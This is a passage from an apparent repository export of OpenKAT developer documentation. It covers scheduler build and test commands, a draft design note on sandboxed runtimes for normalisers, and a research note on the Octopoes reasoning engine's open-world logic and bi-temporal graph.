environment, but you are\nfree to use whatever you want.\n\n### Prerequisites\n\nBy the use of environment variables we load in the configuration of the\nscheduler. See the environment settings section under Installation and Deployment for more information.\n\n### Running\n\n```\n# Build and run the scheduler in the background\n$ docker compose up --build -d scheduler\n```\n\n### Migrations\n\nCreating a migration:\n\n```\n# Run migrations\nmake revid=0008 m=\"add_task_schedule\" migrations\n```\n\nSometimes it is helpful to run the migrations in a clean environment:\n\n```\ndocker system prune\ndocker volume prune --force --all\n```\n\n## Testing\n\n```\n# Run integration tests\n$ make itest\n\n# Run unit tests\n$ make utest\n\n# Individually test a file\n$ make file=test_file.py utest\n\n# Individually test a function\n$ make file=test_file.py function='test_function' utest\n```\n\n## Scripts\n\nThe scheduler comes with a few scripts that can be used to interact with the\nscheduler. These scripts are located in the `scripts/` directory and can be\ncheck its documentation. These scripts are a collection of scripts that are\nused for various testing and benchmarking purposes.\n\n## `load.py`\n\nAllows to create multiple organisations and with a supplied `data.csv` file\ncreate objects on which a select number of boefjes will be performed upon.\n\n```shell\ndocker build -t mula_scripts .\ndocker run -it --rm --network=host mula_scripts load.py \\\n    --orgs {number-of-orgs} \\\n    --oois {number-of-oois} \\\n    --boefjes {comma-separated-list-of-boefjes}\n```\n\n## `benchmark.py`\n\nAllows to benchmark the operations of the Scheduler. When running the `load.py`\nthe benchmark script can run along side it to measure the performance of the\nScheduler.\n\nIt will check:\n\n- Errors in the logs\n- Task stats (how many are queued, running, etc.)\n- CPU and memory usage\n\n```shell\ndocker build -t mula_scripts .\ndocker run -it --rm --network=host mula_scripts benchmark.py --container {container-id-of-scheduler}\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/normalisers-runner.md",
    "content": "# Design considerations for new normalisers (whiskers) runner\n\n_Status: Draft_\n\n## Current situation\n\nThe current workflow is as follows:\n\n```{mermaid}\ngraph LR;\n    Mula--Tasks-->Boefjes;\n    Boefjes--Information-->Bytes;\n    Bytes--Information-->Whiskers;\n    Whiskers--Objects-->Octopoes;\n```\n\nThis diagram is simplified, because normalisers (whiskers) are actually scheduled by Mula as well.\n\nnormalisers are run within the context of the normalisers runner, within the Python process of the normalisers runner. This does not provide any isolation or sandboxing. There is currently also no method to redistribute normalisers, other than by copying the code to the normalisers runner.\n\n## Requirements\n\n[**_By Jan_**](https://github.com/minvws/nl-kat-coordination/issues/1136#issuecomment-1584306551)\n\nInitially, our design called for normalisers as AWS Lambda-like functions. This would make it possible to run them in micro-VMs/micro-containers and distribute them as small code packages (e.g., code + requirements) targeting a specific pre-built Python (or other interpreter) container running on, for example, [Firecracker](https://firecracker-microvm.github.io).\n\nThis has a few advantages:\n\n- The code of normalisers runs sandboxed.\n- The input can be a single raw file (easily testable).\n- They can be run in parallel.\n- The output is easily tested by testing the returned objects for value and schema validity. (e.g. using [JSON Schema Validation](https://python-jsonschema.readthedocs.io/en/stable/validate/))\n- The whole normaliser can be hashed, and as such, we can keep track of what we did with which code/input/output.\n- Crashes can be caught at the runtime level and reported without boilerplate inside the normaliser.\n- Support for multiple languages can be added.\n- normalisers can carry conflicting dependencies without issue.\n- Easily packaged (zip, OCI container of which the last might be overkill).\n- Separation of runner code (e.g., Python 3.10 with a set of reasonable modules) and app code (e.g., the main method doing the heavy lifting).\n\nThis also has a few requirements:\n\n- normalisers do not interact with the outside world (already met except for 1 normaliser who contacts Octopoes).\n- normalisers list their requirements (already met).\n- The Input and Output are text or binary blobs. (currently, the output is a Python object holding data mirroring the Octopoes model).\n\nThis also has a few drawbacks (some we can minimize):\n\n- Startup time for a sandboxed normaliser is longer than for a direct method call.\n- Not all functionality envisioned can be captured in a sandboxed normaliser which has no other I/O options than the initial raw file + job meta and the resulting output.\n- Inter-related objects in the output stream are 'harder' to relate to each other than with Python's references. (maybe solvable by using something akin to [JSON Schema references ($ref)](https://json-schema.org/understanding-json-schema/structuring.html#ref))\n- One-shot return of data, as the runner only processes all output once the container has returned.\n\nOptions that this gives us:\n\n- Output can be JSON, and optionally with versioned schemas.\n- Run various separate runner envs (e.g., Python 3.8, Python 3.9, PHP 7, PHP 8), needs requirements to be set in the normaliser manifest.\n- Cache normaliser dependencies.\n\n## Design\n\n### Runtime\n\n| Technology                     | Security                             | Startup overhead | Ease of Use | Distribution             |\n| ------------------------------ | ------------------------------------ | ---------------- | ----------- | ------------------------ |\n| MicroVM (Firecracker)          | Excellent isolation                  | High             | Hard        | VM image                 |\n| Containers (Docker)            | Medium isolation                     | Medium-high      | Moderate    | OCI image                |\n| Containers (hardened runtimes) | Excellent isolation                  | High             | Moderate    | OCI image                |\n| WebAssembly                    | High isolation, sandboxed            | Medium-low       | Hard        | Several                  |\n| Python Subprocess              | Limited isolation, security concerns | Medium-low       | Easy        | Zipfile with Python code |\n| Python Inline                  | Limited isolation, security concerns | Low              | Easy        | Zipfile with Python code |\n\n#### MicroVM (Firecracker)\n\n- **Security:** Excellent isolation, leverages hardware security\n- **Startup overhead:** High\n- **Ease of Use:** Hard, hardware virtualisation extensions (Intel VT-x or AMD-V) are required. Nested virtualisation needs to be enabled to run in an existing virtual machine. As a developer, integrating Firecracker with existing code is not trivial and needs quite a bit of work to get right.\n- **Distribution:** VM image with OS and userspace. The [Weave Ignite](https://github.com/weaveworks/ignite) project allow OCI images to be used, but this project is in alpha and seems abandoned by the authors. Building custom VM images is more work and requires build tooling that might not be available everywhere.\n\n#### Containers (Docker)\n\n- **Security:** Medium isolation, leverages Linux namespaces\n- **Startup overhead:** Medium-high\n- **Ease of Use:** Moderate, Docker is easy to run but does have some moving parts compared to a simple Python process. A big advantage is that many organisations already use Docker. There are many other container orchestrators such as Kubernetes and Nomand in use, but these require the use of a different API (but do use the same container image for distribution).\n- **Distribution:** [OCI image](https://github.com/opencontainers/image-spec/blob/main/spec.md), with many build tools available (including in CI like GitHub Actions). OCI images can be distributed using [OCI registries](https://github.com/opencontainers/distribution-spec/blob/main/spec.md) and metadata can be provided in the OCI image manifest.\n\n#### Containers (hardened runtimes)\n\nOther container runtimes, such as [Kata Containers](https://katacontainers.io) or [gVisor](https://gvisor.dev) can provide excellent isolation while using the same OCI image distribution format used by Docker. When using container ochestrators such as Kubernetes, these runtimes can be used as a drop-in replacement for Docker. This means that the same OCI image can be used for distribution, and the same API can be used to run the container. For security-conscious organisations, using these hardened runtimes can provide additional security guarantees without requiring special adaptations in KAT.\n\n- **Security:** Excellent isolation\n- **Startup overhead:** High\n- **Ease of Use:** Moderate, the runtime can be harder to set up than Docker, but the rest of the workflow is the same.\n- **Distribution:** OCI image (see above)\n\n#### WebAssembly (Wasm)\n\n\"[WebAssembly](https://webassembly.org) (abbreviated *Wasm*) is a binary instruction format for a stack-based virtual machine. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications.\"\n\n- **Security:** High isolation, designed to run untrusted code in a secure sandbox\n- **Startup overhead:** Medium-low\n- **Ease of Use:** Hard, Python support for targeting WASI (WebAssembly System Interface) is relatively new. Also, modules using native code (such as Pydantic V2) cannot easily be compiled to WebAssembly at this time.\n- **Distribution:** Several methods are available. A [Python zipapp](https://docs.python.org/3/library/zipapp.html) makes it possible to create a single small package with the normaliser code and any PyPI libraries. However, the relatively big Python standard library will need to made available separately. There have been [work to build Python code and all dependencies into a single Wasm module](https://blog.suborbital.dev/bringing-python-to-se2-with-webassembly), but it is unknown how well this works in practice. Support for OCI images exists, but mostly to be able to run WASM modules in container runtimes (e.g. [containerd runwasi](https://github.com/containerd/runwasi), [Docker+Wasm](https://www.docker.com/blog/docker-wasm-technical-preview/) for Docker desktop, [Podman with WasmEdge](https://wasmedge.org/docs/develop/deploy/podman/)).\n\n#### Others\n\n- Python Subprocess is easy to use, but has limited isolation and security concerns.\n- Python Inline is simple, but has limited scalability and security concerns.\n- Python Subprocess and Python Inline can use a Zipfile with Python code for distribution, which is relatively easy to use.\n\n### Distribution\n\nDistribution with OCI images would be the preferred way. OCI images have several advantages, namely that they provide immutable, reproducible, and verifiable builds.\n\nIt is possible to add metadata to the OCI image's manifest, which can be used to store information about the normaliser, such as the name, version, dependencies and input + output metadata.\n\nFurthermore it is easy to distribute OCI images, as they can be pushed to a registry, and pulled from a registry such as Docker Hub, GitHub Container Registry, or Amazon Elastic Container Registry.\n\nUnfortunately, not all runtimes discussed above can directly use OCI images. This means we would need to do extra work to either a) support a different distribution mechanism or b) use libraries to adapt OCI images for our runtime.\n\n### Input/Output\n\nThe normaliser input is the Normaliser Meta object and a single raw file, and the output is a single normalised file. The input is a binary file coming from Bytes. The output is a JSON file of OOIs and Findings that is sent to Octopoes.\n\nThis Input/Output protocol needs to be specified more thoroughly and implemented before the new normalisers runner can be fully implemented. This can be done using the existing codebase, and we could include the new I/O protocol side by side to the current one so that we don't have to migrate all normalisers at the same time.\n\n### Supervisor process\n\nA single independent process that can be scaled horizontally (multiple processes) to provide multiple workers. The process works independently, meaning that there is no communication between the processes. The processes can be scaled up and down depending on the load and can be run on a single machine, or on multiple machines (e.g. using container orchestrator). They do not need to be aware of each other. The existing PostgreSQL is used to synchronise state.\n\n## Discussion\n\n- Do we want to support multiple languages for normalisers?\n- Do we want to persist the normaliser output in Bytes, or send it directly to Octopoes?\n- Do we want to align the runtime with one that can also work for Boefjes?\n- Do we want to have support for multiple raw files as input?\n- Do we want to reuse a running normaliser for multiple inputs, or do we set up and tear down the normaliser for each run?\n\n## Conclusions\n\n_As discussed with the team on 2023-07-20._\n\n- The new normalisers output format should be refined and implemented outside the scope of the new normalisers runner.\n- We need better development tooling (an SDK) for normalisers. A Python tool that takes a ZIP file from Bytes, runs the normaliser, and shows normaliser output on screen was proposed and would greatly help the development cycle.\n- A new boefjes runner should be prioritised higher than the normalisers runner because we have more issues with the current boefjes runner: boefjes have more diverse dependencies and require external tools. We can likely reuse a part of the boefjes runner for normalisers.\n- We should not forget about bits; these also need a better design.\n- Overhead for runner normalisers should be limited, for example by allowing batched requests or multiple runs without having to restart the normaliser.\n"
  },
  {
    "path": "docs/source/developer-documentation/octopoes-models.rst",
    "content": "Octopoes Models\n###############\n\noctopoes.models.ooi.service\n===========================\n\n.. automodule:: octopoes.models.ooi.service\n   :members:\n\noctopoes.models.ooi.findings\n============================\n\n.. automodule:: octopoes.models.ooi.findings\n   :members:\n\noctopoes.models.ooi.email_security\n==================================\n\n.. automodule:: octopoes.models.ooi.email_security\n   :members:\n\noctopoes.models.ooi.web\n=======================\n\n.. automodule:: octopoes.models.ooi.web\n   :members:\n\noctopoes.models.ooi.config\n==========================\n\n.. automodule:: octopoes.models.ooi.config\n   :members:\n\noctopoes.models.ooi.certificate\n===============================\n\n.. automodule:: octopoes.models.ooi.certificate\n   :members:\n\noctopoes.models.ooi.monitoring\n==============================\n\n.. automodule:: octopoes.models.ooi.monitoring\n   :members:\n\noctopoes.models.ooi.question\n============================\n\n.. automodule:: octopoes.models.ooi.question\n   :members:\n\noctopoes.models.ooi.network\n================================\n\n.. automodule:: octopoes.models.ooi.network\n   :members:\n\noctopoes.models.ooi.reports\n===========================\n\n.. automodule:: octopoes.models.ooi.reports\n   :members:\n\noctopoes.models.ooi.dns.records\n===============================\n\n.. automodule:: octopoes.models.ooi.dns.records\n   :members:\n\noctopoes.models.ooi.dns.zone\n============================\n\n.. automodule:: octopoes.models.ooi.dns.zone\n   :members:\n\noctopoes.models.ooi.software\n============================\n\n.. automodule:: octopoes.models.ooi.software\n   :members:\n"
  },
  {
    "path": "docs/source/developer-documentation/octopoes-research.rst",
    "content": "Octopoes Research\n#################\n\nGeneral note to the reader: this document is based on some internal project notes and does not have an official or formal status.\nIt may contain oversights, mistakes, and/or omissions. Any thoughts or insights are very welcome through GitHub or by contacting the team through Signal!\n\nMaster students from the University of Groningen have written a paper about the use of Semantic Web Technologies in OpenKAT.\n\n- :download:`Investigating the use of Semantic Web Technologies in OpenKAT (paper)<pdf/Investigating the use of Semantic Web Technologies in OpenKAT paper.pdf>`\n- :download:`Investigating the use of Semantic Web Technologies in OpenKAT (slides) <pdf/Investigating the use of Semantic Web Technologies in OpenKAT slides.pdf>`\n\nIntroduction\n============\nThe project has gone through several iterations of refinement and changes in scope, but the overall software architecture has remained stable for a while now.\n\nThis document concerns Octopoes, a core component within KAT which is intended to store a modeled copy of the world in a bi-temporal graph database. Octopoes is intended to include a reasoning engine that is able to post-process data by executing rules to draw conclusions from a given dataset.\n\nWhile the architecture of KAT is quite clear and documented, the workings of Octopoes are still slightly obscure and not sufficiently formally defined. This lack of documentation and formalization in this core component of KAT is currently resulting in unclear constraints considering the rule-engine, vagueness of to be made trade-offs between expressivity and computational complexity, etc.\n\nA large revision of Octopoes is currently in the works that should incorporate the learnings and experience of the last two years. This revision should address most of the current challenges and it is of vital importance to have a (relatively formal) description of the intended workings.\n\nThis document is divided in two parts. Part 1 addresses the context of Octopoes and sketches rough requirements. Complexities of the intended functionality are described, with their respective backgrounds.\n\nPart 2 attempts to sketch the possible components that, when combined, result in the software that satisfies the requirements, within the known constraints.\n\n*Note: as KAT is first and foremost developed for application in the cybersecurity domain, some examples in this document are given in this context.*\n\n\nPart I - Requirements, context and inherent complexities\n========================================================\n\nContext of Octopoes in KAT\n--------------------------\n\nEvent loop\n^^^^^^^^^^\n\nKAT as a whole can be defined as a configurable, distributed crawler. A feedback loop is constructed by continuously:\n\n1. Executing programs that gather data, with entities as input\n2. Structuring the yielded data to extract entities\n3. Storing the extracted entities in a persisted graph\n4. Feeding these entities as input for the programs in step 1\n\n.. figure:: img/octopoes/event_loop.png\n  :alt: Event loop\n\n  Event loop\n\n\nKAT dataflow\n^^^^^^^^^^^^\nFor reasons like scalability and extensibility the above concept is broken up and realized into multiple components.\n\n.. figure:: img/octopoes/dataflow.png\n  :alt: Data flow\n\n  Data flow\n\nObjectives\n----------\n\nKAT\n^^^\n\n* The ability to timestamp and sign raw output data and metadata (primarily bytes' responsibility)\n* The ability to schedule new scans for newly created objects and recurring scans for existing objects (primarily mula's responsibility)\n* The ability to extract structured data from raw data (primarily whisker's responsibility)\n\n\nOctopoes\n^^^^^^^^\n\n* The ability to draw conclusions (\"findings\") automatically from data, based on business rules which are called “bits”.\n* Create new objects from business rules\n    * And by extension: trigger new business rules on those new objects\n* Perform advanced, complex, and fast queries on the data for analysis, alerting, and reporting\n* The ability to change, reduce, and expand the set of objects and rules throughout KAT's lifecycle\n* A domain-independent architecture, i.e. the model should accommodate domains beyond technical cybersecurity\n* The ability to enable and disable certain objects and rules\n* The ability for objects to inherit clearance levels from their neighbors, in an automatic and sensible way (n.b. probably specific to the security domain - maybe generalizable through bits)\n\nDesired/future\n^^^^^^^^^^^^^^\n\n* Temporal reasoning about historical states of the data\n* The ability to federate several KAT installations, to enable distributed computing and accept signed results from other instances (e.g. to gain information about private networks and systems).\n\n\nComplexities of Octopoes\n------------------------\n\nRealizing these objectives comes with several challenging aspects.\n\nOpen-world assumption\n^^^^^^^^^^^^^^^^^^^^^\n\nOctopoes gains knowledge by three methods:\n\n1. Observation by scanning the world\n2. Information declared to be true by users or other software systems\n3. Reasoning through defined rules (bits)\n\nPer definition, Octopoes is not authoritative of the data it captures and therefore has to take an open-world assumption (OWA). In short, this means that the information stored in Octopoes is not complete (Octopoes does not know the full state of the world). Octopoes can only make claims about data that is known. Questions about information that is unknown to Octopoes are consequently answered by ‘unknown’.\n\nOn the contrary, a system making a closed-world assumption (CWA), seems to be simpler to deal with. CWA systems have complete knowledge of their respective domain and are therefore authoritative. Any questions asked to this system can be definitively answered with a yes or no.\nIn a “classical” application, the database source contains the complete knowledge about the domain. Questions like “Is there an order with id 31” can be answered with “no” definitively.\n\n.. figure:: img/octopoes/authoritative_database.png\n  :alt: Example of an authoritative database\n\n  Example of an authoritative database\n\n\n.. figure:: img/octopoes/owa_database.png\n  :alt: Example of an open-world database like KAT\n\n  Example of an open-world database like KAT\n\nQuestion: “Is port 443 open on IPAddress 2.2.2.2?”\n\nKAT's answer: “Unknown”\n\n\n\nContradicting information\n^^^^^^^^^^^^^^^^^^^^^^^^^\n\nInformation about the world can come from several sources. Direct observations but also third parties can be sources of information. It is absolutely not guaranteed that these several sources agree on statements about the world and it is even likely that these sources will contradict each other at some point.\n\nOctopoes needs to deal with this, by performing (naive) disambiguation. Perhaps an approach based on confidence scores of sources and the age of the provided information is suitable.\n\n*Example claims:*\n\n* Shodan claims the state of port 80 of IPv4 address 1.1.1.1 as ‘closed’, 2 days ago\n* A nmap scan claims the state of port 80 of IPv4 address 1.1.1.1 as ‘filtered’, 1 day ago\n* A HTTP request to port 80 of IPv4 address 1.1.1.1 is successful, resulting in a claim of the port state ‘open’, *just now*\n\nAn approach to determine the state of the port could be to first compare the confidence levels of the sources.\n\n* Shodan is a third party, resulting in a low source confidence score\n* Nmap provides a direct observation, resulting in a relatively high source confidence score\n* The HTTP request cannot be successful without the open port, resulting in a very high source confidence\n\nThen, take into account the age of each claim.\n\n* The Shodan claim was 2 days ago, resulting in a low age confidence score\n* The nmap claim was 1 day ago, resulting in a medium age confidence score\n* The HTTP request claim was just now, resulting in a very high age confidence score\n\nA possible approach could be to multiply the source confidence score with the age confidence score and take the highest combined confidence score as for truth.\n\n\nLogic\n^^^^^\nBy including rule-base data processing into a system, it needs to be clear that the domain of computational and mathematical logic is entered. We will briefly go over some of the basics of logic. At its core, logic consists of premises resulting in consequences. Given a set of premises, a reasoner can infer logical consequences and therefore yield additional (implicit) knowledge.\n\n.. figure:: img/octopoes/logic_and_reasoning.png\n  :alt: Logic and reasoning\n\n  Logic and reasoning\n\n\nFor the first iteration of the rule engine in Octopoes, a simple approach was proposed to find objects in the graph satisfying specific conditions and applying labels to these objects.\n\n*Example rule:*\n\nCondition: Public IPv4 address with port 1433 open\n\nLogical consequence: Vulnerability with high severity\n\nIPv4Address(x) ^ Port(y) ^ RelationState(\"open\", x, y) -> Finding(Severity 1, Reason \"Open Port\", x, y)\n\n(where x is an object that satisfies the criteria of an IPv4 address, y is an object that satisfies the criteria of a port, RelationState() represents a relationship linking two objects together with the condition \"open\".)\n\nThe premises (knowledge base and rules) form the mathematical proof for the existence of the consequence.\n\n.. figure:: img/octopoes/knowledge_derived_knowledge.png\n  :alt: Knowledge and derived knowledge\n\n  Knowledge and derived knowledge\n\nReasoning\n^^^^^^^^^\n\nIn this simple example, the logical consequence of this rule is not a premise for another rule. Therefore, the derived knowledge (presence of a high vulnerability) is a first-order derivative from the knowledge base. It gets more complicated though, when derived consequences can be a premise for another rule. Recursion of inference can start to occur, resulting in a process which is called inference chaining.\n\nReasoning, and logic in general, is a whole field in mathematics and philosophy. As for Octopoes, it seems that it should resemble a deductive, classical logic computational framework.\n\n.. figure:: img/octopoes/inference_chaining.png\n  :alt: Inference chaining\n\n  Inference chaining\n\nConsistency\n^^^^^^^^^^^\nWhen a logical system is in the picture, it should be noted that a world of intricacies arises. Logical consistency is a primary example. It is possible that rules contradict themselves or each other, causing paradoxes. The simplest paradox is the liar paradox and can be described as x = not(x).\n\nSuch a simple rule is relatively easy to detect. However, in a more complex ruleset, a paradox might arise from a looping logical chain where the consequence disproves the premise, causing the total knowledge to be inconsistent. Depending on the chosen rule language, it might be possible to detect such logical inconsistencies early by introspecting the rules (a.k.a. stratification).\n\nLogical programming\n^^^^^^^^^^^^^^^^^^^\n\nAs we are dealing with computational logic, which has been a field of study since the 1950’s, there is a ton of research to build upon. In mathematics, there are plenty of algebraic logics, of which some have been translated into the computational field, like the logic programming languages Prolog and Datalog.\n\nIt is however also possible to define rules in a Turing complete language like Python, when it is hooked into the reasoning engine. The logic programming paradigm of choice does have implications, as described below.\n\n==================================================================================================== ================================================================================================================================\nFormal declarative logic, e.g. Prolog                                                                Turing complete logic, e.g. Python\n==================================================================================================== ================================================================================================================================\nAllows for validation of rulesets for early error feedback, e.g. paradox detection, loop detection   More accessible to contributors.\nSteep learning curve, thus less accessible to contributors                                           No introspection/stratification possible to detect paradoxical or looping rules. Possibly resulting in unpredictable behavior.\n==================================================================================================== ================================================================================================================================\n\n\nRegarding Octopoes, a decision should be made which logic programming paradigms are the most suitable for this project.\n\nNote: perhaps there are alternative logic programming methodologies (Python libraries?) that are currently unexplored by us which give us the best of both worlds?\nPerhaps something like https://owlready2.readthedocs.io/en/latest/ or https://github.com/MNoorFawi/pytholog\n\nComputing inferences and materialization\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nAt any time in the lifecycle of a logical reasoning engine, assuming both a valid knowledge base {a, b, c, d} and valid ruleset {rules}, there is an implicit derived set of knowledge {a, b, c, d, e, f, g}.\n\nThere are different ways of computationally generating proof for a consequence. There are algorithms available using forward-chaining, backward-chaining and a mix of both.\n\nAn algorithm can attempt to formally verify a statement when asked by using these chaining methods. Another approach is to continuously compute all logical consequences, resulting in full materialization of the derived knowledge set. An industry example of this approach (materialization-based reasoning) is RDFox.\n\n.. figure:: img/octopoes/inference_and_materialization.png\n  :alt: Inference and materialization\n\n  Inference and materialization\n\nWhat knowledge can we actually infer from our objects?\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nCurrently, Octopoes records more or less literally what Boefjes and Bits find: a combination of an object and the state of an object (e.g. port 80 was found to be open by nmap a day ago).\n\nHowever, this little piece of information actually contains more knowledge than would appear at a first glance. For example, we can also infer that:\n\n* we know that nmap has successfully;\n* we know that a Boefje has run a day ago;\n* we know that port 80 is NOT not open\n    * Although nmap only uses a limited set of states for each port, for some objects the logical inverse of a state could be very large. For example, if you know that the domain openkat.nl has a SOA record (primary nameserver) pointing at 8.8.8.8, you also know that it does not have a primary nameserver at 1.1.1.1, 2.2.2.2, or any other address in the complete IPv4 space. (Note: the DNS specification technically allows this, even though it does not make sense semantically. This serves as an example.)\n* we know that we cannot make claims about port 443 based on this knowledge alone\n\nHow to model the difference between knowing, not knowing, and knowing what you don't know?\n\nKnowing things\n^^^^^^^^^^^^^^\n\nIn principle, this is the \"default\" that we model in Octopoes: we have objects, states of objects, and rules to infer knowledge about those objects and states. These may then result in findings and conclusions. This is reasonably straightforward, provided the rules are correct.\n\nNot knowing things\n^^^^^^^^^^^^^^^^^^\n\n...in a closed world:\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nWhen dealing with closed-world assumptions, there exist by definition a finite number of objects and states. When you know the state of an object, you know with certainty that it does not occupy any of the other states. Therefore: given that the world is closed and finite, it is possible to exhaustively reason about the states of all objects that you have no explicit knowledge about. In other words: the ability to reason and know things about the world is complete.\n(If the object is not in the known set, it does therefore not exist at all).\n\n...in an open world:\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nHowever, Octopoes deals with an open-world. There is inherent uncertainty in observations, and about how many and which objects and states actually exist. The observer does by definition not know the state of all things. It is reasonable to assume that our domain model is not completely exhaustive. If there is no explicit knowledge available about any given object, it cannot be conclusively determined that the object therefore does not exist, or the state that it occupies.\n\nKnowing that you don't know things\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nTo recap: in a closed world, there are no things that you don't know about.\nConsequence: all conclusions drawn about the world are authoritative.\n\nIn an open world, you know that there are (probably) things you don't know about. Consequence: conclusions drawn about the world are not authoritative, and may be wrong.\n\nA practical example for Octopoes that arises is the following: if we know that a certain object has DNS records, but are not able to scan it for some reason, we cannot conclude anything about e.g. whether it misses SPF or DMARC entries. If this is not properly modeled, it may result in wrong conclusions, such as:\n\n\n* A finding that SPF or DMARC does not exist\n    * This cannot be concluded as we have no concrete evidence for it nor against it, nor can we conclusively reason about this, as we are dealing with an open-world.\n\n* No finding about the existence of SPF or DMARC\n    * This is correct, but doesn't tell us anything about the state of security or compliance of the object. If it is missing or faulty and should be there, we cannot say that the object is secure. However, if we consider all objects without explicit SPF or DMARC to be noncompliant, we do not account for edge-cases and situations where they may in fact not be required.\n\n* A finding that we have insufficient information about the state of SPF or DMARC\n    * This is correct, but problematic when used as a general approach. There are, in our open-world, an infinite number of states and objects that we have no information about. Do we then create findings for all of these possible gaps of knowledge?\n\n\nOther assorted notes and thoughts\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWhen constraining the rule engine, so that consequences of rules cannot be input for other rules, the situation arises that the derived knowledge is derivative of order 1 of the knowledge base + ruleset. However, there is no way of knowing how many iterations are required to derive all possible knowledge from the derived new object.\nThis can result in two potentially problematic situations: namely a huge amount of iterations which is finite but computationally expensive (see below):\n\n  applyRule(Object x, Rule r) -> Object(x’)\n\n  applyRule(Object x', Rule r) -> Object(x’')\n\n  applyRule(Object x'', Rule r) -> Object(x'’')\n\n  etc...\n\n...or an infinite recursion or paradox. For example contradictory rules or findings. Detecting such inconsistencies requires resolving all rules, traditionally through a parser or language such as Haskell or Prolog.\n\nConfigurability\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nWhile the main use case of KAT currently remains in the cybersecurity space, at its core KAT is a general, configurable data-processing application. This means that any KAT source code is - in principle - domain-unaware and that all domain logic is configured through plugins.\n\n(https://blog.opencog.org/2013/03/24/why-hypergraphs/)\n\nCurrent state\n\"\"\"\"\"\"\"\"\"\"\"\"\"\nKAT is essentially a data processing platform. Utilizing a range of methods to gather data, KAT creates a modeled copy of a particular domain. Rules are applied on top of this model to derive more data, for example to annotate and categorize data points.\n\nBecause of the decision to persist rule-derived data as additional facts, Octopoes could be described as a materialization-based reasoning engine.\n\nEven though the underlying database called XTDB is not specifically a graph database (but a document-store with the capability for graph querying), Octopoes is essentially a hypergraph. The internal state of the reasoning engine (reason maintenance) links input graphs to output graphs.\n\nIn this document, KAT’s architecture is analyzed to provide insight into the requirements and constraints of such decisions. The outcome of this analysis can then hopefully be used in the strategic planning and to make decisions based on what is technically reasonably achievable.\n\n\nTo put things into perspective: the authors of this document have by necessity been required to do extensive research into the academic, state-of-the-art research fields of knowledge representation, graph theory, propositional and first-order logic, declarative/logical programming, and (symbolic) reasoning and inference. Some of the fundamental problems that plague Octopoes/KAT are worthy of a doctoral dissertation. At an abstract level, Octopoes/KAT can be called a symbolic artificial intelligence system.\n\n\nCurrent problems\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nSome of the effects of the current implementation of KAT are currently undocumented. There are for example undocumented limitations to the rule engine. Also, the computational complexity is unknown, resulting in unpredictability of e.g. CPU load when handling larger datasets.\n\nComputational complexity of reconstructing a historical graph\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nComputational complexity of storing the complete, current state of the graph\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nDesign complexity of reconstructing a historical graph\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nA complication for the architecture is that reinterpreting a historical state of the graph (xtdb's valid_time), in essence:\n\n* requires all original raw data;\n* requires the corresponding definition of the graph universe (e.g. models, definitions, and rules) at that time.\n\nComputational complexity of temporal graph reasoning\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nIn addition, one of the intended features of KAT is to make use of the two XTDB axes of valid_time and transaction_time. The difference between these is that valid_time is the moment when knowledge is intrinsically true (e.g. port 80 was open) whereas transaction_time is the moment that this is recorded in the graph. Transaction_time is thus, by definition, immutable. The key consequence of this difference is that it becomes possible to know which knowledge was NOT directly recorded in the graph but was true at that moment (and that this was discovered later). In the context of information security this enables policymakers, in hindsight, to identify oversights and blind spots (e.g. what could we have known or discovered had we taken certain actions or implemented certain rules). In short, it allows a complete historical view of the graph to answer questions like: \"What was known at time X (transaction_time) about time Y (valid_time)\".\n\nWe have mentioned before that there is an intrinsic computational challenge in graph calculations. With bi-temporality, this is exacerbated. One of the intended features of KAT is that it should be possible to enable and disable certain rules, findings, and objects. The consequence of this feature is that complete alternate timelines about the state of knowledge can be computed. For example, in the reality where rule/object X is never enabled, all consequences stemming from that reality must be completely (re)computed, as there is no way beforehand to know which relational rules are affected by the change(s). This idea is extremely powerful and unprecedented in the world of information security for the same reason as the one mentioned in the previous paragraph. Keeping track of these \"parallel universes\", in such a way that they can be queried at-will, is an exponentially expensive problem.\n\nPotential solution (considered in Octopoes v3): only actively compute and maintain a valid_time and transaction_time of now(), and only compute alternative timelines on-request or at certain timestamps. We have called this Consolidation of the graph. This will result in a single timeline of valid_time * transaction_time pairs, with additional on-demand reconsolidation of historical valid times in the current transaction time.\n\nSpace complexity of temporal graph reasoning\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nIn addition to the computational complexity explained above, there is also space complexity. To be able to perform querying historical states (e.g. backwards in both valid and transaction-time), it is necessary to store changes in the schema over (transaction) time. (Note that changes in the raw data are already recorded traditionally in a separate relational database, the bytes module).\n\nIf we do not store changes in the schema over time, it becomes impossible to perform introspection to allow model-aware queries, or check that the state of the graph was correct at a certain transaction time.\n\nTo look back into a historical valid_time state, it then requires a complete recompute of the graph at the “now” transaction-time. So, only questions like \"How does our current knowledge and model change how we look at, and what we know about, time Y (valid_time)\" can be answered.\n\nPotential solution (considered in 